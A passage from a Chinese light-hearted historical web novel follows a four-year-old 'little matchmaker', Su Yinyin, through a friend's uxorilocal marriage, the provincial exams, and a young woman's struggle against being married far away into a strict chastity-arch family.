李大果一出现,便把这些人轻松拿捏。 她从小跟着老爹经营果园,既要干农活,又要跟生意人打交道,焉能解决不了眼前的麻烦。 杨力眼神震惊,谁都能看出他此刻的敬佩。 好厉害。 几句话就让一直欺负他的后娘发疯。 杨力后娘哭天抢地,跟杨力老爹厮打起来。 总之一个意思,不能认杨力这个儿子,把他赶出去家门! 家里东西都是她儿子的! 不然她就带着家产孩子们改嫁!看他这个老光棍以后怎么办! 这一招一直有用。 为了维护现在的家,杨力后爹做了跟前十几年一样的选择:“我肯定是向着你的啊,现在不是他想入赘吗。” “那就入啊!反正跟老娘没关系!” 杨家丢人就丢人了。 丢人有财产重要吗。 某个方面来讲,杨力后娘确实是个精明的,她全力维护自己孩子们的生存吃喝。 别的孩子跟她没有关系。 再说了,自己当爹的都不护着,指望她当后娘的护吗。 所谓的有后娘就有后爹,从源头起,还是当爹的缘故,没有他的默许纵容,谁敢欺负前头的那个孩子。 只是为了自己安逸,默认放弃前面孩子。 杨力虽然早知道他的选择,但作为儿子难免有一丝期待。 如今彻底死心,心凉透了。 便是围观众人看着,大多数人已经明白伙计为何要入赘。 若他们是这伙计,大约也会同意。 再说了,本以为那招赘的女子大他好多岁,肯定丑陋不堪,谁料只是皮肤粗糙些,人却很厉害。 不愧是家里有些小买卖的,三两句话帮未来夫婿稳住局面。 若能娶到这样的婆娘,他们也愿意啊。 这伙计。 运气真好! 杨力老爹都默认大儿子入赘的事,其他人也没法再闹。 谁都看得出来。 杨力明显是被赶出家门的。 这种情况下,还是杨家理亏。 没想到阻挠婚事不成,反而更添笑柄。 酒楼东家黑着脸出现,听到消息后,他便急匆匆赶过来,门口竟然围了那么多人。 “谁在这闹事?还让不让人做生意了。” 东家把人赶走,连带着对杨力也没什么好脸色。 马上要开门做生意,惹得那么多人来看热闹,实在是让人厌恶。 杨力后退半步,刚要道歉,就听身边的大果道:“要不干脆辞了吧,经过这样一闹,你在酒楼也不舒心,不如去果园做事,正好筹备婚事。” 辞了吗? 虽说早晚都要辞,这也太突然了。 杨力没回答,看了看东家阴沉着脸,还有那些笑话他的人,明显不怀好意。 辞。 反正决定入赘。 早去晚去都一样。 辞职念头一起,整个人都轻松了。 苏茵茵跟原锐就看着伙计杨力站到东家面前,直接道:“给店里惹了闹剧,我干脆辞了吧,您把这个月月钱给我结,我马上就走。” 眼看双方扯皮,李大果前去帮忙说项,那边杨力已经去住的屋子里收拾东西了。 偷偷摸摸跟过来的同屋伙计刚要嘲讽,就听杨力道:“别嫉妒了,以后我就要去过好日子。” 这十几人一间的房子,谁爱住谁住。 果园里早就给他准备了一间房,不说宽敞,至少明亮整洁,还是他一个人的。 那伙计被点破心思,只能在后面跳脚。 等李大果跟杨力一起出来,笑着走向看糖人的苏茵茵原锐。 “多谢你们了,若不是你们两个小娃娃,事情还没那样顺利。”李大果笑着道。 苏茵茵则一脸佩服。 她真的好佩服大果姐姐! 可惜他们两个还有事,要马上回果园,不过李大果道:“过几天早桃成熟了,我请你们来果园吃桃。” 苏茵茵点头,被原锐强行拉回视线,指着糖人道:“快做好了。” 只见老爷爷手指翻飞,一个大人巴掌大的蝴蝶糖人出现。 好看,个头也大! 小娃娃捧着糖人,都有她脸蛋大小了。 回到慧女点心,苏茵茵一边吃糖一边跟娘亲讲方才发生了什么。 连酱料店邻居都过来听。 都是一条街上的,万金酒楼的事早就传开,不过谁都没苏茵茵了解的清楚。 说到最后,苏茵茵羡慕道:“大果姐姐真厉害,以后我也要学她。” 原锐再次看她,听八卦的客人嘴快道:“招赘吗,可有你哥哥。” 苏娘子却笑着道:“有哥哥怎么了,有哥哥也能招赘。” 话又说回来,苏娘子继续道:“别提这种事了,我家女儿年纪还小,以后的事以后再说。” 单是想想,她都觉得难过了。 苏茵茵没什么想法,她才四岁,四岁哎! 之后李大果姐姐请苏茵茵全家去果园玩,除了认真学习的苏显没去之外,其他人都去了。 连带着原锐跟邻居小孩孙东俊一起去的。 刚摘下来的桃子新鲜无比,李锐渊还买了些回皇宫。 当然,最重要的是,李大果跟杨力的婚事定下。 因是入赘,杨力家也没旁的亲人过来,所以婚事不用太复杂。 两人八字已经拿去合了,婚礼定在今年的八月初六。 杨力本人已经搬到果园住,婚前自己一间房,婚后再搬到李大果的大屋里去。 来果园不到半个月,他已经习惯这里的生活。 清晨起来摘果,送果,打扫这里的卫生,施肥捉虫,闲暇时候喂鸡喂鸭。 也确实辛苦,但不会被责骂,一日三顿饭非常及时,早上有鸡蛋,中午有荤腥,等到晚上一家人坐在院子喝喝茶看看月亮。 杨力都不敢想,这么过一辈子,日子有多开心。 谁要住十几个人的屋子,谁要一日三餐都吃不饱啊。 不过杨力前两日有些生气,不是因为李家人,是因为万金酒楼一个伙计。 “前两日酒楼几个伙计过来玩。”李大娘跟苏娘子闲聊道,“其中一个伙计,竟然向大果自荐枕席,说自己也能入赘,他肯定比杨力强。” 啊? 苏娘子都听傻了。 苏茵茵李锐渊听懂,只当不知道。 孙东俊凑过去问:“婆婆,什么叫自荐枕席啊。” “去去去,不该听的小孩子别听。”李大娘把孩子们赶去吃果子。 不过后面的事苏茵茵多半能猜到,肯定是那些个笑话杨力的人,偷偷过来请求入赘。 算是让她说对了,这些人就是嫉妒! 怪不得杨力不高兴呢。 好在事情过去,婚期定下,不会再有差错。 经过这事,苏家跟李家不仅认识,甚至成了可以走动的朋友。 等到八月份,请苏家人过来吃喜酒,喜饼点心更不用说,一定要在慧女点心预定。 今年八月份会格外忙。 一个是今年有乡试,汴京学子们活跃起来,生意肯定会好。 二是乡试过后,各家准备结亲的也多,预定喜饼的人,肯定少不了。 其实就连哥哥苏显,都因为今年是有乡试,也就是考举人的比试,所以被夫子看得特别紧,让他们提前感受乡试的氛围。 年初刚考中的黄秀才,同样忙碌起来,今年是他头一次乡试,大概率是不中的,但怎么也要试一试。 等乡试结束,则安心准备他跟兰双的婚事。 苏茵茵掰着指头算算。 这两年吃了好多席面,还都是喜宴,甚至都不要他们家花钱。 这算不算当小红娘的好处? 苏茵茵练字的时候,手边还有张姐姐送来的坚果点心。 算起来,程哥哥跟张姐姐成亲都半年了。 最早成亲的邻居刘姐姐,丁鹏正甚至都要有孩子。 就连老家肃河村霍芸姐姐她都去吃席。 再加上大果姐姐的,黄秀才的。 她总有一天,会成为吃席专家。 八月乡试,七月份北市街面便热闹起来。 到处都是兜售笔墨的商贩。 还有不少垂头丧气的书生,乡试啊,这可是考举人。 听说今年考试放宽了些,虽说还不允许商籍科考,但已经允许军户家的孩子考试。 算是一点进步。 原锐跟哥哥讲,朝中为此吵得很厉害。 皇上似乎有意放宽科举的门槛。 无论什么籍贯,都能读书科举。 只是朝中反对声音太大,于是各让一步,先放开了军户限制。 这些距离苏茵茵有些远,可她听原锐讲的时候,顺口说了句:“墨子都说,尚贤者,政之本也。大臣们怎么不懂呢。” 李锐渊,苏显,下意识看向小宝宝。 此话并不晦涩,读过书的人都能讲出来。 可从一个四岁宝宝口中讲了,还是让人惊愕。 “小宝宝都懂的道理,他们却不懂。”李锐渊忍不住揉揉苏茵茵的头,被苏显直接拍开。 这是他妹妹! 李锐渊心道,他要把小宝宝都懂的道理,让那些反对的人也懂。 进入八月,街道上人反而少了。 苏茵茵苏显李锐渊去贡院门口看热闹,还碰到兰双姐姐。 兰双姐姐已经跟黄秀才定亲,前来相送很正常,她紧张万分:“进去三日,吃喝都在里头,肯定艰难。” 确实如此。 自古读书都是千军万马过独木桥。 经历过高考的苏茵茵感同身受。 “你怎么来了?” “你不会还惦记章郎吧?” 蟑螂?! 苏茵茵震惊看过去。 李锐渊低声道:“是文章的章。” 哦,是章郎,她以为是那种“小可爱”。 原锐怎么知道她在想什么。 “没有,三姐,我只是路过。”许小妹确实不是路过,她自幼在祖父母膝下读四书五经,自然对科举感兴趣,故而带着丫鬟来看看。 没想到碰到送未婚夫上考场的三姐,这未免有些太尴尬了,许小妹低着头,不敢多说。 兰双认识她们,低声道:“这是礼部员外郎家的女儿,姓许。” 兰双大宗有些脸面,之前带她去过京城一些宴会,虽说是边缘人物,却也见了不少大家小姐。 员外郎是从五品的官职,比苏茵茵,兰双他俩爹爹厉害很多。 苏茵茵同样低声道:“兰双姐姐,他们说的章郎是谁啊。” 这就是另一桩事了。 “许三小姐的未婚夫,听说才华斐然,今年科举大约能中。” “只不过当年这桩事,是许家祖父母说给许五小姐,也就是许小妹的。” 但事情没说定,两位老人家前后脚离世,许家丁忧三年,三年后婚事定给了适龄的三小姐。 啊? 里面有问题啊。 苏茵茵好奇,正好对上许小妹的眼睛。 她也见过许小妹。 在张姐姐的菊花宴上,就是去年秋天,张姐姐嫁给程哥哥最后一个小宴。 宴上请了张姐姐的小姐妹们,这位许小妹就在其中,不太爱说话,人很温和。 许小妹明显也认出来,借机跟三姐告辞,来跟苏茵茵打招呼。 上次她就觉得这个小宝宝很可爱,但没好意思抱抱,现在反而看到了。 靠近苏茵茵,许小妹反而不敢抱了,只蹲下来道:“你们也来看科举考试吗。” 苏茵茵点头,这里热闹啊,好多人都来瞧呢。 贡院门前偶遇之后,苏茵茵没想到还有下文。 三日乡试的最后一天,许小妹便一个人来了慧女点心,眼圈通红。 苏娘子都被吓了一跳,得知是来找茵茵的,似乎觉察到什么,下意识道:“难道因为婚事不顺?” 别怪苏娘子这般想,实在是女儿名声在外啊。 本来不好意思讲出来的许小妹,这才微微点头,带着歉意道:“苏娘子,叨扰了。” “不会,有什么事进来说吧。”苏娘子连忙道。 进了慧女点心殿内,许小妹非但没觉得房间狭小,反而因为较为密闭的空间松口气,明显这种环境更让她放松。 苏茵茵给许姐姐擦擦眼泪,小声道:“许姐姐,你怎么了呀。” 许小妹一时不知怎么讲,她甚少跟人谈心,如今猛地一问,更不知说什么。 苏娘子端来温热茶水,让她放松放松。 握住茶杯,许小妹叹口气:“是婚事,我娘要给我定亲了。” 她家上面两个哥哥两个姐姐,都已经定亲。 今年她过了十六时辰,确实该说亲。 但没想到这般匆忙。 以许小妹心思细腻的程度,怎么会想不到缘由。 定然是她乡试当日去贡院门口,被三姐看到,担心她惦记章家公子。 回家后,她多番解释,三姐也不听的。 过了一晚,母亲便差人让她过去,说了定亲的事。 甚至看好了人家,是爹爹一个同年的旧部,远在济西道,东昌府,距离京城五百里地。 五百里? 苏茵茵震惊。 放到现代都算远嫁了。 这,这古代嫁到五百里之外,一辈子都不能见到家人了吧。 苏娘子下意识想到女儿。 谁家这么狠心,能让的女儿嫁那样远。 并非说东昌府不好,那也是山东富裕之地,但离开家乡,嫁到一个陌生家里,这辈子是好是坏,全凭运气。 怪不得许小妹会哭。 放哪个女子身上,都会哭吧。 苏茵茵心疼不已,软软的小手来不及拿帕子就帮许姐姐抹眼泪:“姐姐别哭,有没有回转的余地,那么远的地方,应该还没说定吧。” 一来一去,怎么也要近一个月了,而且这种大事,不可能几天说定。 “还没有。” “母亲说爹爹同年在年初就写信了,请母亲在京城寻合适的人家。” “想来想去,说我合适。” “还说东昌府那家在本地颇有体面,是出名的儒学世家,为乡里表率。” 等会。 儒学世家。 乡里表率。 怎么越听越不对劲。 “他家不会还有贞节牌坊吧。”苏茵茵脱口而出。 苏小妹表情哀恸。 还真有。 苏茵茵深吸口气,握住许姐姐的手:“不能嫁,真的不能嫁。” 许小妹看向小宝宝,偷偷握住小宝宝软乎乎的小手。 小红娘果然聪明,她竟然管中窥豹,从细微之处发现问题。 但正是她们能发现问题,才显得十分悲哀。 “母亲,母亲与我一向不亲近,只怕劝不动了。” 反正都说到这了,小妹说出自己的身世。 她刚出生没多久,便被抱到祖父祖母膝下。 当时祖父已经不良于行,抱个孙女过去,养着解解闷。 刚开始许家主母还会去看,毕竟是自己亲生女儿。 日子久了,许家主母只当自己只有四个孩子,不常亲近,便是亲生的也会生疏。 更何况许小妹的母亲还有两个女儿,根本不缺后面那个。 祖父母临走前考虑到小孙女的处境,借着最后的体面去寻了旧友章家。 章家家世清白,族中子弟争气,给孩子定下婚事,他们才能放心。 只可惜临门一脚,两人都走了。 章家不愧是他们两个选中的,因为家中长辈去世,许家主君丁忧三年,就是三年不能当官。 即使如此,他家还是记着跟许家的婚事,让自家儿郎专心读书,等许家孝期满了再说。 可惜时过境迁,主事的换人,结亲的人自然也换了。 许三小姐被母亲娇宠多年,早就有了顽劣性子。 做出抢夫婿的事,抢的还是最不受宠妹妹的夫婿,倒也不奇怪。 小女儿跟自己不亲近,偏向更受自己喜欢的三女儿,对许家主母来说,更不是难以抉择的事。 三女儿哭诉一番,就要把小女儿远嫁,在许家主母那,更是理所应当。 原来是这样。 虽是亲母女,却没什么感情,怪不得如此偏心。 偏心。 最无解的问题。 这些先不说,只讲那四个词。 儒学世家。 乡里表率。 贞节牌坊。 嫁过去,能有好事?! “许姐姐,无论如何,还是要想办法拒婚的。”苏茵茵郑重道。 苏娘子同样点头。 北市街道上人越来越多,似乎是乡试学子们考完试,陆陆续续出了贡院。 许小妹看向人群,叹口气道:“有时候想,若我是男子能科举的话,或许一切都会不同。” 她即便只考上秀才,也能另有天地,不必拘束在小院里,只能等着嫁人。 许小妹说了半晌,心情畅快不少,反而能安慰小宝宝,甚至开玩笑道:“要不然小宝宝让我抱一下,抱一下心情就好了。” 这有什么难的! 苏茵茵扑到许姐姐怀里:“姐姐别难过。” “不难过,日子总要过下去。”许小妹道,“艰难困苦,玉汝于成。” “说不定这些只是在磨练我的意志,五百里路,万一有不同风景呢。” 许小妹抱住小宝宝,只觉得手感跟想象中一样好。 好软,好乖。 她要有这样的女儿,一定会娇养一辈子,让她永远当自己的宝宝。 苏茵茵搂紧许姐姐,真恨不得自己确实是小红娘转世,最好跟他们说什么神仙转世一样,稍稍施展法术,就能让许姐姐有更好的去处。 许姐姐值得更好的人。 眼看天要黑了,许小妹也恋恋不舍离开,临走时候苏娘子给她装了些点心,甚至道:“万一我家真有喜气呢,你沾一沾。” 苏茵茵哭笑不得,平日里娘亲跟她都拒绝承认什么小红娘,沾喜气,没想到这会心有灵犀,想到一起了。 许小妹笑,收了点心,但执意给钱,甚至道:“传闻还说,必须给钱的,不然不灵验。” 啊? 还有这一条? 许小妹把点心放在买笔墨的竹篮里,压在纸张下面,不能让家里人知道是从慧女点心买的,否则肯定会再生波澜。 天知道她对章家公子并未什么感情,总共也就见了两面。 章家公子学问不错,人也还行。 就是有一点点,她觉得不太好。 那一点点不太好,当时又不能跟祖父母讲,毕竟讲出来很不妥当。 也不知道是不是今日话说得多了。 许小妹终于在心里承认那一点点不太好的原因。 章家小哥他,不够英俊。 念头刚闪过,许小妹捂住脸。 不能这么想!这是不对的! 世人多看重女子相貌,谁会多说男子长相。 她当时要是说给祖父母听,只怕会被打手心。 捂住脸的许小妹快步往前,“砰”一声撞到人了。 那人左晃右晃,竟然直愣愣倒地。 这,这是怎么了! 左右无人,许小妹更怕了,连忙去查看情况,只听那人声音有些含糊:“吃的,有吃的吗。” “有有有。”许小妹赶紧翻出被压下最下面的点心,掰了块开口酥喂给地上的人。 那人吃了几口,气息终于平稳,当下撑着坐起来,连连道歉:“姑娘不好意思,吓到你了吧。” “小生刚从贡院出来,一天没吃喝了。” 考试的时候不觉得饿,只觉得下笔如有神,出了考场才发现双脚虚浮,整个人天旋地转。 被人轻轻一碰,直接倒地。 八月黄昏霞光下的书生面色白皙,目如点漆,嘴唇苍白稍显羸弱,却又多了丝面如冠玉的气质。 许小妹没说话。 书生歪头看她,挥挥手:“姑娘?姑娘?” 许小妹还是没说话。 书生撑住膝盖,叹口气:“我英俊吧。” 第33章 许小妹回过神,眨眨眼,小声回了句:“英俊。” 放在平常,她肯定不好意思地离开。 但眼前人反正不认识她,许小妹甚至再次小声道:“好看。” 书生挑眉。 每次他这样问,多数女子都会因害羞走远,怎么还有敢回答的。 许小妹把剩下点心塞给他:“我要回家了,你不舒服的话再歇歇。” 她今天出门太久了,必须赶紧回去。 回到家中,两个丫鬟焦急万分,正等着她:“五小姐,夫人在等您呢,让您快些过去。” 许小妹还未进主院,就听到里面三姐跟母亲的声音:“娘!考生今日下午出考场,她定然是去找章郎了!” 她跟章郎的婚事还未真正定下,很怕小妹从中作梗,那她怎么办。 许小妹微微叹气。 她也不能说,自己真的不喜欢章家小哥吧,嫁不嫁的,更是可有可无。 真的不要以己度人。 若一定要嫁,方才那穷书生反而合适。 确实俊朗。 被许小妹认证过的穷书生,此刻正在啃蝴蝶酥,京城的点心着实精致,比西北边关的点心更复杂些。 精力恢复了些,书生继续往北市走去。 他要在天黑前找到慧女点心,否则今晚就要露宿街头了。 因为他现在,确实是穷书生。 好在经人指点,可以去找慧女点心苏家,他叔父跟苏家之前是同僚。 苏家又是乐善好施的。 应该能收留他住几日吧? 实在不行,他再去找自己本家人,但回本家的话,必然要被说亲。 书生摸摸自己脸,再次感叹,太英俊也是罪过啊。 赶在天黑之前,书生终于找到地方,点心店已经关了,他只好去敲苏家的门。 苏家厨房炊烟已经升起,苏茵茵小跑去开门,抬头看向眼前的人。 好帅的人。 苏茵茵小脸上写满惊愕加惊喜,就是那种看到好看人之后,自然而然流露出的表情。 刻板印象里好看的书生什么样,眼前的人就什么样啊。 好在苏茵茵反应迅速,擦擦嘴角迅速道:“请问有什么事吗。” 要问的话憋回嘴里,书生拱手道:“请问这是苏家吗,小生是陇西人士,名叫李云敬,长辈李谦,同苏家主君有些旧识,特来拜访。” 书生并未因为她是小娃娃轻视,认真说了来历,报下自己跟伯父的姓名。 本以为自己还要重复几次,小娃娃才能记住。 没想到眼前的小孩迅速重复了遍,开口道:“稍等,我问问爹爹。” 苏副使刚回家换下官服,就听到女儿说有人找。 陇西旧识,李谦? 这,这哪里是旧识,这是他在陇西当兵时上司的上司,顶多有过一面之缘,怎么还找到他了。 陇西李氏,这名号报出来,有谁不认识。 李家在京城也是有宅邸的,本家人不少。 苏副使主动去迎,见对方衣着破旧,身上行李也不多,心道这或许是李家落魄旁支。 那来找他,倒是不奇怪了。 看过李云敬身份契凭,再知道他今日刚从贡院出来,苏副使苏娘子不仅同意留宿,特意多加了两个菜。 吃饭的时候,李云敬主动说起自己的情况,他从陇西一路过来,游山玩水。 到汉中时听到朝廷新令,说是恢复军籍科考之权。 那会已经没时间再回家准备,直接从汉中出发,故而身上盘缠不够,临到快考试时就剩最后几个铜板。 别人都在准备科考时吃的东西,他只能喝个水饱。 科考结束更是身无分文。 好在他来汴京遇到同为军籍子弟时,听说苏副使的名字。 “苏副使可是大好人,他当年在陇西打仗,回来之后一直接济同僚旧友。他娘子更是厚道人,投奔过去,至少吃喝会给一口。” “看你也是陇西出来的,若实在走投无路,便去投奔他家吧,有了银钱记得还即可。” 李云敬拱手道:“苏副使名声在外,实在是我辈楷模。” 苏家做了多少好事,才能让人如此信任。 说罢,李云敬甚至打了个嗝。 苏副使黑脸通红。 他哪担得起这种夸赞:“不过顺手的事。” “我同娘子商量过了,最近在家中安心住下,等着放榜即可。” 苏茵茵还在看李书生,没想到这书生不仅长得俊朗,人也健谈得很,更因为走过无数山水,见多识广。 苏副使倒是问了另一个事:“据我所知,陇西李家少有军户,你家这一脉为何?” 苏副使不愧是苏副使,问到其中蹊跷。 这点没什么好隐瞒的,李云敬无语:“我爹一心要从军,硬是要改,谁有办法。” 改的时候,还没有军籍不可科考的规矩,并不影响他读书科举,甚至带着他一起习武。 谁料没过几年,先皇颁布新令,让已经是秀才的李云敬再无科举可能,气的他夫子跟母亲追着他爹打。 他爹自知坑了儿子,干脆领了个修边城的职位,跑得远远的。 还能这样?! 苏茵茵听傻了。 李云敬双手一摊:“我爹就是这么不靠谱。” “那也没办法,谁让是我爹啊。” 陇西距离中原很远,民风更是放松,军籍也好,甚至商籍也好,对陇西李家来说都无所谓。 他伯父倒是想过把籍贯改回来,但那些年先是打仗,后来新皇登基,便耽搁下来。 时间一长,也没了科举的想法,反正他跟他爹一样随意惯了。 等到新皇再发新令,他同样不打算再考,也不打算成家,游山玩水扶贫济弱挺好的。 可夫子直接写信到汉中,命他必须去,还说给国子监写了信,让他可以直接去汴京考。 “收到信件我第一想法是,夫子怎么不给我寄银钱啊。”李云敬说着,还说起自己一日没吃饭饿到晕倒。 本是笑谈,又想起路过姑娘给他的蝴蝶酥,李云敬把剩下的点心拿出来递给苏茵茵:“小娃娃你尝尝,这还挺好吃的。” 苏茵茵听得有意思,没想到汴京之外是这样的世界。 但她低头一看,这不是自家的点心吗,怎么到李书生手中了? 再看看里面的点心种类。 这不是娘亲给许小妹的吗。 为了让许小妹沾喜气,特意把所有点心都拿了一对,甚至有多做的喜饼。 喜饼给定做的人家之外,肯定不对外出售的。 救了李云敬的,是许小妹啊。 听到这个巧合,李云敬想到那个胆小又胆大的姑娘,更笑:“还真是巧了。” 谁说不是呢。 一晚上时间,李云敬跟苏家打成一片,从陇西讲到汉中,再讲到一路的风土人情。 苏茵茵晚上做梦都是骑马周游全国,以至于第二天醒的时候,整个人迷迷糊糊,困到小脑袋一点一点。 即使这样,苏茵茵也发现,不过一夜过去,她哥对李书生变得更加崇敬。 是那种对知识的崇拜。 她哥平日不爱说话,但苏茵茵也知道哥哥的傲气,很少会对人如此。 苏茵茵大眼睛刚看过去,就听哥哥解释:“李大哥学问极好。” 昨晚随意点拨了他的文章,便让他茅塞顿开。 说句夸张的,似乎比进士夫子还要厉害。 好牛啊。 苏茵茵知道科举的含金量,更知道科举金字塔越往上越厉害。 能被哥哥这样夸,确实了不起。 “还有八日放榜,李大哥对中榜有信心吗。”苏茵茵好奇道。 李云敬完全不把自己当外人,直接笑:“手到擒来。” 手到擒来。 好大的口气。 但他好像确实有这个本事。 苏茵茵下意识想到许小妹,许姐姐若能科举,说不定也能这般。 想到许姐姐,苏茵茵的困意都少了些。 只是这些事不能同别人讲,便是原锐过来,她都不能多说。 许姐姐的隐私,不好乱说的。 李锐渊之前每隔几日过来一次,但从今天开始,可以连续来半个月。 太傅去做阅卷官,他暂时不用上课。 好消息还没说,就见慧女点心里多了个人,因为这人店里生意都好了些。 不少客人都在说,汴京长得好看的人,是不是都在这个店里了。 李锐渊刚进去,就听人道:“又来一个帅气的小娃娃。” “就是太瘦了。” “都知道慧女点心的女娃娃好看,娘子漂亮。” “这新来的伙计也不得了啊,真真是面如冠玉。” “小娃娃怎么不笑,还冷着脸。” 李锐渊对这些话本不在意,但坐到小宝宝身边时,听她小声道:“长得帅是有好处哈。” 李锐渊扭头看她,见她还在看店里的新人,开口道:“新招的伙计吗。” “这人不合适。” “不是伙计,是投奔我家的,他说不好吃白食,就来店里帮忙了。”苏茵茵说着,小声对原锐道,“我家生意都好了些,你看他长得多帅气,很合适的。” 李锐渊脸黑了些,眉头皱着:“帅气没用。” “不光帅,他昨天刚考完科举。” “大概率落榜。” 苏茵茵托腮,像是看李云敬,又像是看别处。 她只是觉得李书生跟许姐姐差别太大了。 前者活的肆意潇洒,后者此刻说不定连家门都出不去。 七岁的李锐渊小脸冷得可怕,让前面忙碌的李云敬都悄悄回头。 谁家小孩,这么吓人。 苏茵茵叹口气,头抵在桌子上:“哎,希望我真的是小红娘。” 话题太过跳脱,李锐渊一时都没跟上,随即托起小宝宝的脸,盯着她认真道:“这人太老了。” 太老? 二十三岁的李云敬指了指自己,他? “等你长大,他就老了。” “会很丑。” 这辈子,第一次有人说自己丑! 李云敬撸起袖子要跟小屁孩理论。 他老了也俊朗! 李锐渊语气冰冷:“比我丑。” “茵茵,茵茵在吗。” 店门口传来焦急的声音。 苏茵茵他们下意识看过去,竟然是张姐姐。 张姐姐见到原锐,眼里更添惊喜。 在她眼里,原锐是宁郡王家的子孙,若有他帮忙,说不定真有办法。 张姐姐赶紧走进来,压低声音道:“茵茵,有件事求你帮帮忙。” “我有个小姐妹她要被嫁到有贞节牌坊的人户了,你能不能想想办法,发挥发挥小红娘的神力。” 苏茵茵惊愕,张姐姐是为许姐姐的事来了,下意识道:“不是说没定下吗。” 一个晚上,事情就要定了?! “你怎么知道的。” “总之今天早上消息传开,就要定下。” “她那么软的性子,怎么能嫁那样远,还不被欺负死。” “那家可不止规矩严苛,若非如此,也不会求亲到远处。本地稍微疼女儿的人户,都不愿意嫁的。” 张家小姐实在没办法了,她跟闺中好友急得想哭,来找小红娘颇有些病急乱投医的意思。 “出什么事了?”李云敬好奇道。 虽是这样讲,但他跟李锐渊大致猜出发生什么,如此询问便是想要帮忙的意思。 张家小姐这才发现店里多的人,长得竟然如此英俊,放在其他时候,定然要拉许小妹过来瞧瞧。 可惜这会不是看人的时候,只能勉强笑笑,随后看向原锐:“原公子?你家能不能帮帮忙。” 李锐渊看向苏茵茵,他听小宝宝的。 “没什么不能说的,救她出火坑才是真的。”张家小姐一锤定音。 隐下对许家的看法,只讲他家要配给许小妹的人家,李云敬不可思议。 谁家会把女儿嫁给那样的人家啊。 贞节牌坊? 若他家族有这玩意,他跟他爹第一个砸。 “这样可怜的女子,必然要救她,总不好因兄弟姊妹间妒忌之心,便把女儿随意许人。”李云敬看了看屋子里的人。 两个小娃娃,一个出嫁的妇人。 那必然是他出头了。 李云敬一咬牙:“让我回家看看,找家中族亲问问他家情况。” 回家? 苏茵茵疑惑。 李锐渊直言:“你在京城有家,为何借住苏家。” 李云敬指了指自己的脸:“看到没,怕被联姻。” 一时间,众人沉默。 怎么感觉,有点道理? “我本打算考完试就走,不想回本家住。” 现在也顾不得这事。 李云敬颇有些古道热肠,自然要帮忙。 大人出头,确实比孩子们想办法要好。 张家小姐也道:“我倒是急乱了,让我娘,我婆母也去问问。” 话是这么说,但婚嫁这事,皆是父母做主,轮不到他们这些外人。 “不管怎么样,试了再说。” 苏茵茵点头,李锐渊没说话,却已经准备去找母后,想来不会有事,让母后指一户好人家即可。 苏茵茵不知道原锐的想法,先谢了李云敬,此事跟他无关,他出头帮忙完全是好心。 “说起来,李大哥你见过许小妹的。” “许姐姐就是昨天给你点心的那个姑娘。” 啊? 摩拳擦掌准备救人的李云敬挠头。 是她啊。 怪不得昨天眼睛红红的。 那样的女子嫁到规矩严苛的家中,必然过得不好。 李云敬一拍桌子:“我来。” 苏茵茵被突如其来的声音吓一跳,本能躲到原锐旁边。 只听李云敬大义凛然道:“如今最好的方法,就是另选人家。” “我家比那家强!” 李锐渊无语,拉住小宝宝,低声道:“早不见他说。” 知道是谁再讲。 苏茵茵眼睛睁大。 是哦。 早不说。 张家小姐压根不知道昨天发生了什么,更不知道眼前穿着破旧的书生到底什么家世。 但她认真看看书生的脸,心道,小妹那关倒是过了。 可许家到底是官宦人家,主君为礼部员外郎。 不是谁都能娶他家女儿吧。 若这书生能考过举人倒还行,可中举之事极为艰难,不是谁都能考中的。 李云敬拍拍自己衣裳:“这次是真的要回家一趟。” 希望二伯不会把他臭骂一顿。 苏茵茵只觉得这书生不愧能文能武,跟哥哥一样,开始对他有些敬佩了。 那边张家小姐则好奇,这好看书生到底哪家的。 苏茵茵不好直说。李锐渊开口:“陇西李家。” 这都能猜到! 苏茵茵眼中的敬佩转移到原锐身上。 李锐渊不由多说几句:“口音,行事做派。” 李锐渊还在争夺小宝宝的注意力。 张家小姐扶住墙壁,他家的话,岂不是嫁得更远了? 不行啊! 那东昌府距离京城也不过五百里。 汴京到陇西至少两千里地。 更回不来了。 而且陇西李家那么多人,谁知道他们家哪一支的。 再者,眼前人品性格一概不知,肯定不行! 茵茵小红娘的名号,不会在这翻车吧! 张家小姐直接婉拒,谁料李云敬反而真上心:“放心,我家这一支虽不争气,却也吃喝不愁,金银不缺,而且绝无规矩。” “再者,此次科举我必然考中。” “明年会试也有把握,信我。” 张家小姐微笑婉拒。 太远了! 再说一遍! 谁料李云敬竟然笑道:“要不问问她的想法。” “她虽胆小,却不胆怯。” 这话听着有些怪。 但仔细想想,胆小是有些人生来便有的性格,更为谨慎,更为内敛,不好也不坏。 胆怯更多是想而不敢,恐惧向前。 一时间慧女点心吵得鸡飞狗跳。 主要是张家小姐跟李云敬各说各的。 苏茵茵跟李锐渊两个小孩子躲到一边。 等厨房里的苏娘子走出来,才无奈道:“写封信给许小妹,让许小妹拿主意吧。” 这也行。 张家小姐直接道:“不必写,我现在就去她家。” 晚上回皇宫,李锐渊还是把此事告诉母后。 皇后笑:“都是有意思的孩子。” 随后又道:“如果这都能成,茵茵还真是小红娘。” 前面那些姻缘她都觉得神奇,这一对更了不得。 皇上则道:“都什么年头,还贞节牌坊,怎么没有御史参奏。” 万龙国因打仗人口锐减,他很鼓励寡妇再嫁。 竟然还有地方冥顽不灵。 “回头让人参一本。”皇后随意道,更多惊讶孩子今日多吃了几口饭,戳了戳皇上,让他看看。 李锐渊知道父皇母后在看什么,冷着脸道:“我太瘦了。” 确实。 太瘦容易生病,不健康。 “不够英俊。”??? 儿子你知道自己在说什么吗。 皇后想笑不敢笑,等李锐渊去休息,这才扶住皇上笑个不停。 笑过之后对皇上郑重道:“找个机会见见茵茵宝宝才是,一定要好好谢谢她。” 皇上对此很赞同。 那个小娃娃改变渊儿太多。 还都是好的方面。 甚至还是小红娘转世,怎么看都是个好孩子。 八月中旬。 其他考生都在等放榜,李云敬在等许姑娘的口信。 张家小姐做事利落,第二日便带过来消息。 “她拒绝了。”张家小姐直接道。 别说李云敬,便是苏茵茵李锐渊都没想到。 为何? “她说,多谢李公子有侠义心肠,但事情还有转机,不可因此便草草婚嫁。” 这是许小妹的原话。 说的时候还挣扎了会。 毕竟李书生面如冠玉,少有的气质长相都极佳的男子。 但说到李书生听了她的遭遇,便古道热肠后,许小妹反而婉拒。 一时侠义固然好,自己却不能利用这一点。 再听他的家世,以及对科举的自信,怎么都不应该为此草草定下婚嫁。 许小妹并非自卑,而是对方越好,她越不能利用这一点。 至于张家小姐考虑的陇西太远,倒不是她拒绝的原因。 她像一颗坚韧的小草。 确实在随风晃动,却也有坚定抓住泥土的根部。 若连这点都没有了。 